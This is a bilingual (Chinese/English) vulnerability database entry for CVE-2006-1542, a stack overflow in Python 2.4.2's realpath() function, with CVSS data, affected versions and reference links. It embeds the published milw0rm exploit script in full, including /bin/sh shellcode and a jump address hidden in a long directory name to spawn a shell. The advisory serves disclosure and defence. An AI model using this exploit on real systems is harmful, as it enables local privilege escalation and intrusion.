CVE-2006-1542
CVSS3.7
发布时间 :2006-03-30 06:02:00
修订时间 :2009-01-23 00:53:24
NMCOE    

[原文]Stack-based buffer overflow in Python 2.4.2 and earlier, running on Linux 2.6.12.5 under gcc 4.0.3 with libc 2.3.5, allows local users to cause a "stack overflow," and possibly gain privileges, by running a script from a current working directory that has a long name, related to the realpath function. NOTE: this might not be a vulnerability. However, the fact that it appears in a programming language interpreter could mean that some applications are affected, although attack scenarios might be limited because the attacker might already need to cross privilege boundaries to cause an exploitable program to be placed in a directory with a long name; or, depending on the method that Python uses to determine the current working directory, setuid applications might be affected.


[CNNVD]Python realpath函数堆栈的缓冲区溢出漏洞(CNNVD-200603-509)

        在Python 2.4.2及其早期版本中存在基于堆栈的缓冲区溢出,当运行于gcc 4.0.3下带libc 2.3.5的Linux 2.6.12.5上时,本地用户可制造一个"堆栈溢出" 和可能取得特权,所采用的手段是从一个与realpath函数相关长文件名的当前工作目录中运行一个脚本。注:这可能不是一个漏洞。但事实上看起来在一个编程语言解释器中可能意味着一些应用程序受到了影响,虽然所受到的攻击情况有限,因为攻击者已可能需要跨过特权界限,将一个受制程序置于一个长目录名称下; 或者,采用Python法判定当前工作目录,setuid应用程序可能会受到影响。

- CVSS (基础分值)

CVSS分值: 3.7 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:python_software_foundation:python:2.2
cpe:/a:python_software_foundation:python:2.4.2
cpe:/a:python_software_foundation:python:2.4
cpe:/a:python_software_foundation:python:2.3.2
cpe:/a:python_software_foundation:python:2.3.1
cpe:/a:python_software_foundation:python:2.2.1
cpe:/a:python_software_foundation:python:2.3.4
cpe:/a:python_software_foundation:python:2.3.3
cpe:/a:python_software_foundation:python:2.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1542
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1542
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-509
(官方数据源) CNNVD

- 其它链接及资源

http://www.redhat.com/support/errata/RHSA-2008-0629.html
(UNKNOWN)  REDHAT  RHSA-2008:0629
http://www.gotfault.net/research/exploit/gexp-python.py
(UNKNOWN)  MISC  http://www.gotfault.net/research/exploit/gexp-python.py
http://secunia.com/advisories/31492
(UNKNOWN)  SECUNIA  31492
http://milw0rm.com/exploits/1591
(UNKNOWN)  MILW0RM  1591

- 漏洞信息

Python realpath函数堆栈的缓冲区溢出漏洞
低危 缓冲区溢出
2006-03-30 00:00:00 2009-01-23 00:00:00
本地  
        在Python 2.4.2及其早期版本中存在基于堆栈的缓冲区溢出,当运行于gcc 4.0.3下带libc 2.3.5的Linux 2.6.12.5上时,本地用户可制造一个"堆栈溢出" 和可能取得特权,所采用的手段是从一个与realpath函数相关长文件名的当前工作目录中运行一个脚本。注:这可能不是一个漏洞。但事实上看起来在一个编程语言解释器中可能意味着一些应用程序受到了影响,虽然所受到的攻击情况有限,因为攻击者已可能需要跨过特权界限,将一个受制程序置于一个长目录名称下; 或者,采用Python法判定当前工作目录,setuid应用程序可能会受到影响。

- 公告与补丁

        

- 漏洞信息 (1591)

Python <= 2.4.2 realpath() Local Stack Overflow Exploit (EDBID:1591)
linux local
2006-03-18 Verified
0 Gotfault Security
N/A [点击下载]
#!/usr/bin/python
 
# gexp-python.py
# 
# Python <= 2.4.2 realpath() Local Stack Overflow
# -----------------------------------------------
# Against VA Space Randomization.
#
# Copyright (c) 2006 Gotfault Security
#
# Bug found and developed by: dx/vaxen (Gotfault Security),
#			      posidron (Tripbit Research Group).
# Enviroment:
#
# Kernel Version	 : 2.6.12.5-vs2.0
# GCC Version		 : 4.0.3
# Libc Version		 : 2.3.5
#
# Special greets goes to : posidron from tripbit.net
#			   RFDSLabs, barros, izik,
#			   Gotfault Security Community.
#
# Original Reference:
# http://gotfault.net/research/exploit/gexp-python.py

import os

# JMP *%ESP @ linux-gate.so.1
jmp    = "\x5f\xe7\xff\xff"

shell  = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e"
shell += "\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3"
shell += "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
shell += "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

os.chdir("/tmp")
base = os.getcwd()
dir = os.path.join("A"*250, "A"*250, "A"*250, "A"*250, "A"*42, jmp+shell)
os.makedirs(dir)
os.chdir(dir)

os.system('> vuln.py; python vuln.py')
os.remove("vuln.py")
os.chdir(base)
os.removedirs(dir)

# milw0rm.com [2006-03-18]
		

- 漏洞信息

24042
Python Interpreter realpath() Function Overflow
Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-03-19 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站